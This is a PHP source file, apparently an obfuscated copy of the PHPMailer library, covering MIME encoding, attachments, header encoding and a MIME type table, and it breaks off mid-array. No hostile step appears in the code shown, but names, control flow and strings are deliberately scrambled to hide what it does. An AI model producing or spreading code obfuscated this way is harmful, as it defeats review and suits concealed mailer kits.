Ls9dA:
goto rE0Vo;
eNcYm:
$x0bAU[] = sprintf("\103\x6f\156\164\145\156\x74\55\104\x69\x73\160\x6f\x73\151\164\x69\157\156\x3a\40\45\163\x3b\x20\x66\x69\x6c\x65\x6e\x61\x6d\x65\75\x22\x25\x73\x22\45\163", $wOvSy, $hL22e, static::$LE . static::$LE);
rE0Vo:
zRuBG:
if ($iS2Yi) {
goto j3pk_;
}
$x0bAU[] = $this->encodeFile($t1usk, $CTuvx);
goto wrvHd;
j3pk_:
$x0bAU[] = $this->encodeString($jm30w, $CTuvx);
wrvHd:
if (!$this->isError()) {
goto HvO_Q;
}
return '';
HvO_Q:
$x0bAU[] = static::$LE;
Ywv_1:
v5t7l:
}
OSMC_:
$x0bAU[] = sprintf("\55\55\x25\163\x2d\55\45\163", $DCyE_, static::$LE);
return implode('', $x0bAU);
}
protected function encodeFile($t1usk, $CTuvx = self::ENCODING_BASE64)
{
try {
if (!(!static::isPermittedPath($t1usk) || !file_exists($t1usk))) {
goto iGX3W;
}
throw new Exception($this->lang("\146\151\x6c\145\137\x6f\x70\145\156") . $t1usk, self::STOP_CONTINUE);
iGX3W:
$P60uD = file_get_contents($t1usk);
if (!(false === $P60uD)) {
goto a15P1;
}
throw new Exception($this->lang("\x66\151\x6c\145\137\157\x70\x65\156") . $t1usk, self::STOP_CONTINUE);
a15P1:
$P60uD = $this->encodeString($P60uD, $CTuvx);
return $P60uD;
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
return '';
}
}
public function encodeString($YX4WE, $CTuvx = self::ENCODING_BASE64)
{
$KtgKe = '';
switch (strtolower($CTuvx)) {
case static::ENCODING_BASE64:
$KtgKe = chunk_split(base64_encode($YX4WE), static::STD_LINE_LENGTH, static::$LE);
goto M8sUw;
case static::ENCODING_7BIT:
case static::ENCODING_8BIT:
$KtgKe = static::normalizeBreaks($YX4WE);
if (!(substr($KtgKe, -strlen(static::$LE)) != static::$LE)) {
goto fuHT5;
}
$KtgKe .= static::$LE;
fuHT5:
goto M8sUw;
case static::ENCODING_BINARY:
$KtgKe = $YX4WE;
goto M8sUw;
case static::ENCODING_QUOTED_PRINTABLE:
$KtgKe = $this->encodeQP($YX4WE);
goto M8sUw;
default:
$this->setError($this->lang("\x65\x6e\x63\x6f\x64\151\x6e\147") . $CTuvx);
goto M8sUw;
}
LH3Gf:
M8sUw:
return $KtgKe;
}
public function encodeHeader($YX4WE, $toYvh = "\164\145\170\x74")
{
$FcxOg = 0;
switch (strtolower($toYvh)) {
case "\x70\150\x72\x61\163\x65":
if (preg_match("\57\x5b\134\x32\60\x30\55\x5c\x33\67\x37\135\x2f", $YX4WE)) {
goto YmQ_6;
}
$KtgKe = addcslashes($YX4WE, "\0\56\x2e\37\177\134\x22");
if (!($YX4WE == $KtgKe and !preg_match("\x2f\133\x5e\x41\55\132\141\x2d\x7a\60\55\x39\41\43\44\45\46\x27\x2a\x2b\x5c\x2f\x3d\x3f\x5e\137\x60\173\174\x7d\x7e\40\55\x5d\57", $YX4WE))) {
goto dzEzo;
}
return $KtgKe;
dzEzo:
return "\42{$KtgKe}\x22";
YmQ_6:
$FcxOg = preg_match_all("\57\x5b\136\134\x30\64\x30\x5c\x30\64\61\x5c\60\x34\x33\x2d\134\61\x33\x33\x5c\x31\63\65\55\x5c\61\67\66\x5d\x2f", $YX4WE, $I3B9w);
goto rcbvt;
case "\x63\x6f\x6d\155\x65\x6e\164":
$FcxOg = preg_match_all("\57\x5b\50\x29\42\x5d\57", $YX4WE, $I3B9w);
case "\164\x65\x78\x74":
default:
$FcxOg += preg_match_all("\57\x5b\x5c\x30\x30\x30\x2d\x5c\x30\61\x30\134\60\x31\63\x5c\x30\61\64\134\x30\x31\66\x2d\x5c\x30\x33\x37\x5c\61\x37\x37\55\134\63\x37\x37\x5d\57", $YX4WE, $I3B9w);
goto rcbvt;
}
TFGkl:
rcbvt:
$CNWiI = "\x6d\x61\151\x6c" == $this->Mailer ? 13 : 0;
$toj7M = static::STD_LINE_LENGTH - $CNWiI;
if ($FcxOg > strlen($YX4WE) / 3) {
goto XcgG8;
}
if ($FcxOg > 0) {
goto SKXjy;
}
if (strlen($YX4WE) > $toj7M) {
goto nTpgc;
}
return $YX4WE;
goto lYL24;
XcgG8:
$CTuvx = "\102";
$toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet);
if ($this->hasMultiBytes($YX4WE)) {
goto BR5Wa;
}
$KtgKe = base64_encode($YX4WE);
$toj7M -= $toj7M % 4;
$KtgKe = trim(chunk_split($KtgKe, $toj7M, "\12"));
goto nXrvs;
BR5Wa:
$KtgKe = $this->base64EncodeWrapMB($YX4WE, "\12");
nXrvs:
$KtgKe = preg_replace("\x2f\x5e\x28\x2e\x2a\x29\x24\57\155", "\40\x3d\x3f" . $this->CharSet . "\77{$CTuvx}\x3f\x5c\x31\77\x3d", $KtgKe);
goto lYL24;
SKXjy:
$CTuvx = "\x51";
$toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet);
$KtgKe = $this->encodeQ($YX4WE, $toYvh);
$KtgKe = $this->wrapText($KtgKe, $toj7M, true);
$KtgKe = str_replace("\75" . static::$LE, "\xa", trim($KtgKe));
$KtgKe = preg_replace("\57\136\x28\x2e\52\x29\44\57\x6d", "\40\x3d\x3f" . $this->CharSet . "\77{$CTuvx}\x3f\134\61\x3f\75", $KtgKe);
goto lYL24;
nTpgc:
$KtgKe = trim($this->wrapText($YX4WE, $toj7M, false));
if (!($YX4WE == $KtgKe)) {
goto IypyJ;
}
$KtgKe = trim(chunk_split($YX4WE, static::STD_LINE_LENGTH, static::$LE));
IypyJ:
$KtgKe = str_replace(static::$LE, "\12", trim($KtgKe));
$KtgKe = preg_replace("\57\136\x28\x2e\x2a\51\x24\x2f\x6d", "\40\x5c\61", $KtgKe);
lYL24:
return trim(static::normalizeBreaks($KtgKe));
}
public function hasMultiBytes($YX4WE)
{
if (!function_exists("\x6d\x62\x5f\163\x74\162\154\145\x6e")) {
goto o054B;
}
return strlen($YX4WE) > mb_strlen($YX4WE, $this->CharSet);
o054B:
return false;
}
public function has8bitChars($izkEo)
{
return (bool) preg_match("\x2f\133\x5c\x78\70\60\x2d\x5c\170\x46\x46\x5d\57", $izkEo);
}
public function base64EncodeWrapMB($YX4WE, $DQcZH = null)
{
$bFUGm = "\75\77" . $this->CharSet . "\x3f\102\x3f";
$Z8gKi = "\x3f\x3d";
$KtgKe = '';
if (!(null === $DQcZH)) {
goto Vau9e;
}
$DQcZH = static::$LE;
Vau9e:
$bFy1z = mb_strlen($YX4WE, $this->CharSet);
$Z6HTu = 75 - strlen($bFUGm) - strlen($Z8gKi);
$Gh5p0 = $bFy1z / strlen($YX4WE);
$vQ6V_ = floor($Z6HTu * $Gh5p0 * 0.75);
$KJHmb = 0;
sJMqb:
if (!($KJHmb < $bFy1z)) {
goto JwKVM;
}
$NPMHP = 0;
EGi6I:
$ynVzc = $vQ6V_ - $NPMHP;
$d_gCi = mb_substr($YX4WE, $KJHmb, $ynVzc, $this->CharSet);
$d_gCi = base64_encode($d_gCi);
++$NPMHP;
if (strlen($d_gCi) > $Z6HTu) {
goto EGi6I;
}
uAtIF:
$KtgKe .= $d_gCi . $DQcZH;
t28Pn:
$KJHmb += $ynVzc;
goto sJMqb;
JwKVM:
return substr($KtgKe, 0, -strlen($DQcZH));
}
public function encodeQP($jm30w)
{
return static::normalizeBreaks(quoted_printable_encode($jm30w));
}
public function encodeQ($YX4WE, $toYvh = "\x74\x65\170\164")
{
$zf42W = '';
$KtgKe = str_replace(["\15", "\12"], '', $YX4WE);
switch (strtolower($toYvh)) {
case "\160\x68\162\141\x73\145":
$zf42W = "\x5e\101\55\132\x61\x2d\x7a\x30\55\x39\41\52\x2b\x5c\57\x20\55";
goto n0Ef0;
case "\143\x6f\155\x6d\x65\x6e\x74":
$zf42W = "\134\x28\x5c\51\42";
case "\164\x65\170\164":
default:
$zf42W = "\x5c\x30\60\60\x2d\134\60\x31\61\x5c\x30\61\x33\134\x30\61\x34\134\60\x31\66\x2d\x5c\60\x33\x37\x5c\x30\67\x35\x5c\x30\x37\x37\134\61\x33\x37\x5c\61\x37\67\55\x5c\x33\67\x37" . $zf42W;
goto n0Ef0;
}
Hi636:
n0Ef0:
$I3B9w = [];
if (!preg_match_all("\x2f\x5b{$zf42W}\135\57", $KtgKe, $I3B9w)) {
goto s6xON;
}
$n2U4c = array_search("\x3d", $I3B9w[0]);
if (!(false !== $n2U4c)) {
goto kVYmJ;
}
unset($I3B9w[0][$n2U4c]);
array_unshift($I3B9w[0], "\x3d");
kVYmJ:
foreach (array_unique($I3B9w[0]) as $E1cUa) {
$KtgKe = str_replace($E1cUa, "\x3d" . sprintf("\x25\60\x32\130", ord($E1cUa)), $KtgKe);
hru8R:
}
RUs4v:
s6xON:
return str_replace("\x20", "\137", $KtgKe);
}
public function addStringAttachment($jm30w, $FFm9e, $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\141\164\x74\x61\143\x68\155\145\x6e\164")
{
if (!('' == $W7B1j)) {
goto IYPlp;
}
$W7B1j = static::filenameToType($FFm9e);
IYPlp:
$this->attachment[] = [0 => $jm30w, 1 => $FFm9e, 2 => basename($FFm9e), 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => 0];
}
public function addEmbeddedImage($t1usk, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\151\156\154\151\x6e\145")
{
if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) {
goto u5LeL;
}
$this->setError($this->lang("\146\x69\154\145\137\x61\x63\x63\x65\x73\163") . $t1usk);
return false;
u5LeL:
if (!('' == $W7B1j)) {
goto XSCS1;
}
$W7B1j = static::filenameToType($t1usk);
XSCS1:
$FFm9e = basename($t1usk);
if (!('' == $dEC3m)) {
goto v39LO;
}
$dEC3m = $FFm9e;
v39LO:
$this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $qsaom];
return true;
}
public function addStringEmbeddedImage($jm30w, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\x69\156\154\151\156\145")
{
if (!('' == $W7B1j and !empty($dEC3m))) {
goto HVcii;
}
$W7B1j = static::filenameToType($dEC3m);
HVcii:
$this->attachment[] = [0 => $jm30w, 1 => $dEC3m, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => $qsaom];
return true;
}
protected function cidExists($qsaom)
{
foreach ($this->attachment as $XGAfM) {
if (!("\151\x6e\154\x69\x6e\x65" == $XGAfM[6] and $qsaom == $XGAfM[7])) {
goto eK595;
}
return true;
eK595:
GU1c9:
}
fH2Y8:
return false;
}
public function inlineImageExists()
{
foreach ($this->attachment as $XGAfM) {
if (!("\x69\156\x6c\151\x6e\145" == $XGAfM[6])) {
goto odzO0;
}
return true;
odzO0:
smMKb:
}
kvv1Y:
return false;
}
public function attachmentExists()
{
foreach ($this->attachment as $XGAfM) {
if (!("\141\x74\x74\x61\143\x68\155\145\156\x74" == $XGAfM[6])) {
goto haCT0;
}
return true;
haCT0:
dkn59:
}
DvjZ_:
return false;
}
public function alternativeExists()
{
return !empty($this->AltBody);
}
public function clearQueuedAddresses($unDTy)
{
$this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($s2iYx) use($unDTy) {
return $s2iYx[0] != $unDTy;
});
}
public function clearAddresses()
{
foreach ($this->to as $g7_oI) {
unset($this->all_recipients[strtolower($g7_oI[0])]);
fNsDl:
}
vhppW:
$this->to = [];
$this->clearQueuedAddresses("\x74\x6f");
}
public function clearCCs()
{
foreach ($this->cc as $bKKB9) {
unset($this->all_recipients[strtolower($bKKB9[0])]);
DkZ_M:
}
EzPFP:
$this->cc = [];
$this->clearQueuedAddresses("\143\143");
}
public function clearBCCs()
{
foreach ($this->bcc as $DZLkJ) {
unset($this->all_recipients[strtolower($DZLkJ[0])]);
p4s9M:
}
GaRDJ:
$this->bcc = [];
$this->clearQueuedAddresses("\142\143\x63");
}
public function clearReplyTos()
{
$this->ReplyTo = [];
$this->ReplyToQueue = [];
}
public function clearAllRecipients()
{
$this->to = [];
$this->cc = [];
$this->bcc = [];
$this->all_recipients = [];
$this->RecipientsQueue = [];
}
public function clearAttachments()
{
$this->attachment = [];
}
public function clearCustomHeaders()
{
$this->CustomHeader = [];
}
protected function setError($naxGQ)
{
++$this->error_count;
if (!("\163\155\x74\x70" == $this->Mailer and null !== $this->smtp)) {
goto dznwg;
}
$RhW13 = $this->smtp->getError();
if (empty($RhW13["\x65\162\162\x6f\162"])) {
goto z2wCv;
}
$naxGQ .= $this->lang("\163\155\164\x70\137\145\162\x72\157\162") . $RhW13["\145\162\162\157\x72"];
if (empty($RhW13["\144\145\x74\141\151\x6c"])) {
goto L9IM1;
}
$naxGQ .= "\40\104\x65\x74\141\151\x6c\72\x20" . $RhW13["\144\x65\x74\141\x69\154"];
L9IM1:
if (empty($RhW13["\163\x6d\164\160\x5f\x63\157\144\x65"])) {
goto wREEN;
}
$naxGQ .= "\40\123\115\124\x50\40\143\157\x64\145\x3a\40" . $RhW13["\163\155\164\160\137\x63\x6f\144\x65"];
wREEN:
if (empty($RhW13["\163\155\164\x70\x5f\143\x6f\x64\x65\x5f\x65\170"])) {
goto CU2Tp;
}
$naxGQ .= "\40\101\x64\x64\151\x74\x69\x6f\156\x61\154\x20\123\115\x54\x50\40\151\x6e\x66\157\72\x20" . $RhW13["\163\x6d\x74\160\x5f\x63\x6f\x64\145\x5f\145\x78"];
CU2Tp:
z2wCv:
dznwg:
$this->ErrorInfo = $naxGQ;
}
public static function rfcDate()
{
date_default_timezone_set(@date_default_timezone_get());
return date("\x44\54\x20\x6a\40\x4d\40\131\40\110\72\151\x3a\x73\40\117");
}
protected function serverHostname()
{
$HYIC3 = '';
if (!empty($this->Hostname)) {
goto Z_UZp;
}
if (isset($_SERVER) and array_key_exists("\x53\x45\x52\x56\105\122\137\116\101\115\x45", $_SERVER)) {
goto A2qaZ;
}
if (function_exists("\x67\x65\x74\x68\157\x73\164\156\141\155\x65") and gethostname() !== false) {
goto N9vaW;
}
if (php_uname("\x6e") !== false) {
goto xWMwl;
}
goto ncEqQ;
Z_UZp:
$HYIC3 = $this->Hostname;
goto ncEqQ;
A2qaZ:
$HYIC3 = $_SERVER["\123\x45\x52\126\x45\122\137\116\x41\115\105"];
goto ncEqQ;
N9vaW:
$HYIC3 = gethostname();
goto ncEqQ;
xWMwl:
$HYIC3 = php_uname("\x6e");
ncEqQ:
if (static::isValidHost($HYIC3)) {
goto Gvq44;
}
return "\154\157\143\x61\x6c\150\x6f\x73\x74\56\x6c\x6f\x63\x61\154\144\x6f\x6d\x61\151\x6e";
Gvq44:
return $HYIC3;
}
public static function isValidHost($S1iUU)
{
if (!(empty($S1iUU) or !is_string($S1iUU) or strlen($S1iUU) > 256)) {
goto ivFol;
}
return false;
ivFol:
if (!(trim($S1iUU, "\133\135") != $S1iUU)) {
goto HlRll;
}
return (bool) filter_var(trim($S1iUU, "\x5b\135"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6);
HlRll:
if (!is_numeric(str_replace("\56", '', $S1iUU))) {
goto Q4C0D;
}
return (bool) filter_var($S1iUU, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
Q4C0D:
if (!filter_var("\x68\x74\164\160\x3a\x2f\x2f" . $S1iUU, FILTER_VALIDATE_URL)) {
goto LymsV;
}
return true;
LymsV:
return false;
}
protected function lang($pEv6e)
{
if (!(count($this->language) < 1)) {
goto N6JAG;
}
$this->setLanguage("\145\x6e");
N6JAG:
if (!array_key_exists($pEv6e, $this->language)) {
goto YaLKe;
}
if (!("\x73\155\x74\x70\137\x63\x6f\156\x6e\x65\x63\x74\x5f\x66\141\x69\154\x65\x64" == $pEv6e)) {
goto I8fnO;
}
return $this->language[$pEv6e];
I8fnO:
return $this->language[$pEv6e];
YaLKe:
return $pEv6e;
}
public function isError()
{
return $this->error_count > 0;
}
public function addCustomHeader($dEC3m, $GywUj = null)
{
if (null === $GywUj) {
goto CyTJG;
}
$this->CustomHeader[] = [$dEC3m, $GywUj];
goto hZd43;
CyTJG:
$this->CustomHeader[] = explode("\x3a", $dEC3m, 2);
hZd43:
}
public function getCustomHeaders()
{
return $this->CustomHeader;
}
public function msgHTML($GRJNx, $k002A = '', $oZBq4 = false)
{
preg_match_all("\x2f\x28\163\162\143\x7c\142\x61\143\x6b\x67\x72\x6f\x75\x6e\x64\51\x3d\133\42\47\135\50\56\x2a\51\x5b\x22\x27\x5d\57\125\151", $GRJNx, $Y5L2H);
if (!array_key_exists(2, $Y5L2H)) {
goto ySnol;
}
if (!(strlen($k002A) > 1 && "\57" != substr($k002A, -1))) {
goto I16vn;
}
$k002A .= "\57";
I16vn:
foreach ($Y5L2H[2] as $E9Pp8 => $z11sT) {
if (!preg_match("\43\136\144\141\x74\141\72\x28\x69\155\x61\147\x65\57\x28\77\72\x6a\160\145\x3f\147\174\147\151\x66\x7c\x70\x6e\147\x29\x29\73\x3f\50\x62\141\163\x65\66\x34\x29\77\x2c\50\x2e\x2b\x29\x23", $z11sT, $WdJzM)) {
goto yHA0f;
}
if (count($WdJzM) == 4 and static::ENCODING_BASE64 == $WdJzM[2]) {
goto xctvD;
}
if ('' == $WdJzM[2]) {
goto sp5ly;
}
goto lm5Ei;
goto GMdlM;
xctvD:
$FJQWD = base64_decode($WdJzM[3]);
goto GMdlM;
sp5ly:
$FJQWD = rawurldecode($WdJzM[3]);
GMdlM:
$qsaom = hash("\163\150\141\x32\65\66", $FJQWD) . "\100\x70\150\160\155\x61\x69\154\145\x72\56\x30";
if ($this->cidExists($qsaom)) {
goto FGhpv;
}
$this->addStringEmbeddedImage($FJQWD, $qsaom, "\145\x6d\x62\145\x64" . $E9Pp8, static::ENCODING_BASE64, $WdJzM[1]);
FGhpv:
$GRJNx = str_replace($Y5L2H[0][$E9Pp8], $Y5L2H[1][$E9Pp8] . "\x3d\42\x63\x69\x64\x3a" . $qsaom . "\42", $GRJNx);
goto lm5Ei;
yHA0f:
if (!(!empty($k002A) and strpos($z11sT, "\x2e\56") === false and 0 !== strpos($z11sT, "\143\x69\144\72") and !preg_match("\43\136\133\x61\55\x7a\x5d\133\141\55\172\60\x2d\x39\x2b\56\x2d\x5d\52\72\x3f\57\x2f\43\x69", $z11sT))) {
goto Gk0gJ;
}
$FFm9e = basename($z11sT);
$eypdK = dirname($z11sT);
if (!("\56" == $eypdK)) {
goto gOtz6;
}
$eypdK = '';
gOtz6:
$qsaom = hash("\x73\150\141\62\x35\66", $z11sT) . "\100\160\x68\x70\x6d\x61\151\x6c\145\162\x2e\60";
if (!(strlen($k002A) > 1 and "\x2f" != substr($k002A, -1))) {
goto lQ0Xx;
}
$k002A .= "\x2f";
lQ0Xx:
if (!(strlen($eypdK) > 1 and "\x2f" != substr($eypdK, -1))) {
goto h20WH;
}
$eypdK .= "\x2f";
h20WH:
if (!$this->addEmbeddedImage($k002A . $eypdK . $FFm9e, $qsaom, $FFm9e, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION)))) {
goto swbf5;
}
$GRJNx = preg_replace("\x2f" . $Y5L2H[1][$E9Pp8] . "\75\x5b\42\47\x5d" . preg_quote($z11sT, "\57") . "\x5b\x22\x27\x5d\57\x55\151", $Y5L2H[1][$E9Pp8] . "\75\42\143\x69\144\72" . $qsaom . "\42", $GRJNx);
swbf5:
Gk0gJ:
lm5Ei:
}
vCEem:
ySnol:
$this->isHTML(true);
$this->Body = static::normalizeBreaks($GRJNx);
$this->AltBody = static::normalizeBreaks($this->html2text($GRJNx, $oZBq4));
if ($this->alternativeExists()) {
goto WlghN;
}
$this->AltBody = "\124\x68\x69\163\x20\151\163\x20\x61\x6e\40\x48\x54\x4d\x4c\x2d\157\156\154\171\x20\155\145\163\163\x61\147\x65\x2e\x20\124\x6f\x20\166\151\145\167\x20\151\x74\x2c\x20\x61\143\164\151\x76\x61\x74\x65\40\110\124\x4d\x4c\x20\x69\x6e\x20\x79\157\x75\x72\x20\145\155\x61\x69\154\40\141\160\160\154\151\143\x61\x74\x69\x6f\x6e\56" . static::$LE;
WlghN:
return $this->Body;
}
public function html2text($PDovp, $oZBq4 = false)
{
if (!is_callable($oZBq4)) {
goto yeXlE;
}
return call_user_func($oZBq4, $PDovp);
yeXlE:
return html_entity_decode(trim(strip_tags(preg_replace("\x2f\74\50\x68\145\x61\x64\174\x74\x69\164\x6c\x65\174\x73\164\171\x6c\145\x7c\163\x63\x72\151\160\x74\x29\133\x5e\x3e\x5d\52\76\x2e\52\x3f\74\x5c\57\x5c\61\x3e\57\163\151", '', $PDovp))), ENT_QUOTES, $this->CharSet);
}
public static function _mime_types($Xeg7j = '')
{
$wBW2I = ["\x78\154" => "\141\160\x70\x6c\x69\x63\141\164\x69\x6f\156\x2f\x65\170\143\145\154", "\152\163" => "\x61\160\x70\154\x69\x63\141\x74\x69\x6f\156\x2f\152\x61\x76\x61\163\143\x72\x69\160\x74", "\x68\161\x78" => "\x61\x70\x70\154\151\x63\141\164\x69\x6f\x6e\57\x6d\x61\x63\x2d\142\151\x6e\x68\x65\x78\x34\60", "\x63\x70\x74" => "\x61\x70\x70\x6c\151\x63\x61\164\x69\157\156\x2f\x6d\x61\143\55\143\x6f\155\160\141\x63\164\160\x72\x6f", "\x62\151\x6e" => "\141\160\160\154\151\143\141\164\151\x6f\156\57\x6d\141\x63\142\151\x6e\141\x72\x79", "\x64\x6f\x63" => "\x61\x70\160\x6c\151\x63\x61\164\151\x6f\156\57\x6d\163\x77\x6f\162\x64", "\167\157\162\144" => "\x61\x70\160\154\x69\143\x61\164\x69\157\x6e\x2f\x6d\163\x77\157\x72\144", "\170\154\163\x78" => "\x61\160\x70\x6c\151\x63\x61\x74\x69\x6f\x6e\57\166\x6e\x64\x2e\157\160\x65\156\x78\x6d\154\x66\157\x72\x6d\x61\x74\x73\55\157\x66\x66\151\x63\145\144\157\x63\165\x6d\x65\x6e\164\56\x73\x70\162\x65\x61\144\x73\x68\145\x65\x74\x6d\154\56\x73\150\145\x65\x74", "\170\154\164\170" => "\141\160\x70\154\151\143\x61\164\151\x6f\x6e\x2f\166\156\x64\56\x6f\x70\x65\x6e\x78\155\x6c\x66\x6f\162\x6d\x61\164\x73\x2d\157\x66\146\151\143\x65\144\x6f\x63\x75\155\x65\x6e\164\56\x73\160\162\145\x61\144\x73\150\x65\145\x74\x6d\x6c\x2e\x74\x65\155\x70\x6c\141\164\145", "\160\x6f\164\x78" => "\141\x70\160\x6c\151\143\141\x74\x69\x6f\x6e\57\166\x6e\x64\x2e\x6f\160\x65\156\x78\x6d\154\146\157\x72\155\x61\x74\x73\x2d\157\x66\x66\151\x63\x65\x64\x6f\143\x75\x6d\145\156\x74\56\x70\x72\145\163\x65\x6e\164\141\x74\151\x6f\x6e\155\154\56\164\x65\155\160\x6c\x61\x74\145", "\x70\x70\163\170" => "\x61\160\160\154\151\143\141\164\151\157\156\x2f\166\x6e\x64\x2e\x6f\x70\x65\156\x78\x6d\x6c\x66\157\162\155\x61\164\x73\x2d\157\146\x66\151\143\x65\x64\x6f\x63\x75\155\x65\156\x74\x2e\160\x72\145\x73\145\x6e\164\141\x74\151\x6f\156\155\x6c\56\163\154\x69\x64\x65\163\x68\x6f\167", "\x70\160\x74\170" => "\x61\x70\x70\x6c\151\x63\x61\x74\x69\157\156\x2f\x76\156\144\x2e\x6f\160\x65\156\x78\155\x6c\x66\x6f\x72\155\x61\x74\x73\55\157\146\146\151\x63\145\x64\157\x63\x75\155\x65\156\x74\56\x70\x72\x65\163\145\x6e\x74\x61\164\x69\157\156\155\154\x2e\160\x72\145\163\x65\156\164\x61\164\151\x6f\156", "\163\x6c\144\x78" => "\x61\160\160\154\151\x63\141\164\x69\157\x6e\57\166\156\x64\x2e\x6f\160\x65\156\170\x6d\x6c\x66\157\162\x6d\141\x74\x73\55\x6f\146\x66\151\143\145\144\157\143\x75\155\x65\x6e\164\x2e\x70\x72\145\x73\145\156\x74\x61\164\x69\157\156\x6d\154\56\x73\x6c\151\144\145", "\x64\x6f\x63\170" => "\141\160\x70\154\x69\x63\141\164\x69\157\156\x2f\x76\x6e\x64\x2e\x6f\x70\x65\156\x78\155\154\x66\157\x72\x6d\141\x74\163\x2d\157\x66\x66\151\143\x65\x64\157\143\165\155\x65\x6e\164\56\167\x6f\x72\144\x70\x72\157\x63\x65\x73\163\x69\156\147\155\154\x2e\144\157\143\165\155\145\x6e\164", "\144\157\164\170" => "\141\160\x70\x6c\x69\x63\141\x74\151\x6f\156\x2f\x76\156\144\x2e\x6f\x70\145\x6e\170\x6d\154\x66\x6f\162\x6d\141\x74\163\x2d\x6f\146\x66\151\x63\x65\x64\x6f\x63\x75\155\x65\156\x74\x2e\x77\157\x72\x64\x70\x72\157\143\145\x73\x73\x69\x6e\x67\155\154\x2e\164\x65\x6d\160\x6c\141\x74\145", "\170\154\x61\x6d" => "\141\160\x70\154\x69\143\141\164\151\x6f\x6e\x2f\166\156\x64\56\155\x73\55\145\x78\143\x65\x6c\x2e\141\144\144\x69\156\x2e\x6d\141\x63\x72\157\x45\x6e\x61\x62\154\145\x64\56\61\x32", "\x78\x6c\x73\142" => "\141\160\160\x6c\151\x63\141\164\x69\157\x6e\57\166\156\x64\56\155\163\x2d\145\170\x63\x65\154\x2e\163\x68\x65\145\164\x2e\x62\151\x6e\x61\x72\x79\x2e\155\141\x63\162\x6f\x45\x6e\141\142\x6c\x65\x64\x2e\61\x32", "\x63\154\x61\x73\163" => "\x61\x70\x70\x6c\x69\x63\x61\164\x69\x6f\x6e\57\x6f\143\164\145\164\55\163\x74\x72\x65\141\155", "\144\x6c\x6c" => "\141\160\x70\154\151\143\141\164\x69\x6f\x6e\x2f\x6f\x63\164\x65\164\x2d\163\164\x72\145\141\x6d", "\144\x6d\x73" => "\141\160\160\x6c\151\143\141\x74\151\157\156\x2f\x6f\143\164\145\164\55\163\164\x72\x65\141\155", "\145\170\145" => "\x61\160\160\x6c\151\143\x61\164\x69\157\156\57\x6f\143\x74\x65\164\x2d\163\164\162\145\x61\155", "\154\150\141" => "\x61\x70\160\154\151\143\141\164\151\x6f\x6e\x2f\x6f\143\164\145\164\55\163\164\x72\x65\141\x6d", "\154\x7a\x68" => "\141\160\160\154\151\x63\141\164\151\157\156\57\157\143\164\145\164\55\x73\164\162\x65\141\x6d", "\160\x73\x64" => "\141\160\160\x6c\x69\x63\x61\x74\151\157\156\x2f\157\143\164\x65\164\55\163\x74\162\x65\x61\155", "\x73\145\141" => "\141\x70\160\x6c\x69\143\x61\164\x69\157\x6e\57\x6f\x63\164\145\x74\x2d\x73\164\162\145\x61\x6d", "\x73\157" => "\x61\160\160\154\151\143\x61\164\x69\x6f\156\57\x6f\143\164\145\x74\55\x73\x74\x72\145\141\155", "\x6f\x64\141" => "\x61\160\x70\154\x69\x63\x61\164\x69\x6f\156\57\x6f\x64\x61", "\x70\x64\x66" => "\141\x70\x70\154\151\x63\x61\x74\151\157\156\57\x70\144\x66", "\141\x69" => "\x61\x70\x70\x6c\151\x63\141\164\x69\x6f\156\57\x70\x6f\163\164\163\143\x72\151\160\x74", "\145\160\x73" => "\141\x70\x70\x6c\x69\143\x61\164\x69\x6f\x6e\57\160\157\x73\x74\163\x63\162\x69\x70\164", "\160\x73" => "\x61\x70\x70\154\x69\x63\141\164\151\157\x6e\x2f\160\x6f\x73\164\163\x63\x72\x69\160\x74", "\163\155\151" => "\141\x70\160\x6c\x69\143\141\164\x69\157\x6e\x2f\x73\x6d\x69\x6c", "\163\155\x69\154" => "\x61\160\160\x6c\x69\143\x61\x74\151\x6f\x6e\57\163\155\151\154", "\155\x69\146" => "\141\160\160\x6c\151\x63\141\x74\x69\x6f\156\57\x76\156\x64\56\155\x69\x66", "\170\x6c\163" => "\x61\160\x70\154\x69\143\141\x74\x69\x6f\156\x2f\166\156\x64\x2e\155\x73\55\145\170\x63\145\x6c", "\160\160\164" => "\x61\x70\x70\154\x69\143\141\164\x69\157\156\x2f\166\156\144\x2e\155\163\55\x70\x6f\167\x65\x72\x70\x6f\151\156\164", "\x77\x62\170\155\154" => "\x61\160\160\x6c\151\143\x61\164\151\x6f\156\57\x76\156\x64\x2e\167\141\x70\x2e\167\142\170\155\x6c", "\167\155\x6c\x63" => "\x61\x70\x70\154\x69\143\x61\x74\151\157\156\57\x76\x6e\144\x2e\x77\141\x70\56\x77\x6d\154\143", "\x64\143\162" => "\x61\x70\x70\x6c\151\x63\x61\164\151\157\x6e\57\x78\55\x64\x69\x72\x65\x63\x74\x6f\x72", "\144\151\162" => "\141\x70\x70\154\151\x63\x61\x74\x69\157\156\57\170\55\144\151\162\x65\143\x74\x6f\x72", "\x64\170\x72" => "\141\160\x70\154\151\x63\141\x74\x69\x6f\x6e\x2f\x78\55\x64\151\162\145\x63\x74\x6f\x72", "\x64\x76\x69" => "\x61\x70\160\x6c\151\x63\x61\x74\x69\x6f\x6e\57\x78\55\144\x76\151", "\x67\164\141\162" => "\141\160\x70\154\x69\143\141\x74\x69\x6f\156\x2f\170\x2d\147\x74\x61\x72", "\160\x68\160\63" => "\141\x70\160\x6c\151\143\141\x74\151\x6f\x6e\57\170\55\150\164\x74\160\x64\55\160\x68\160", "\160\150\x70\64" => 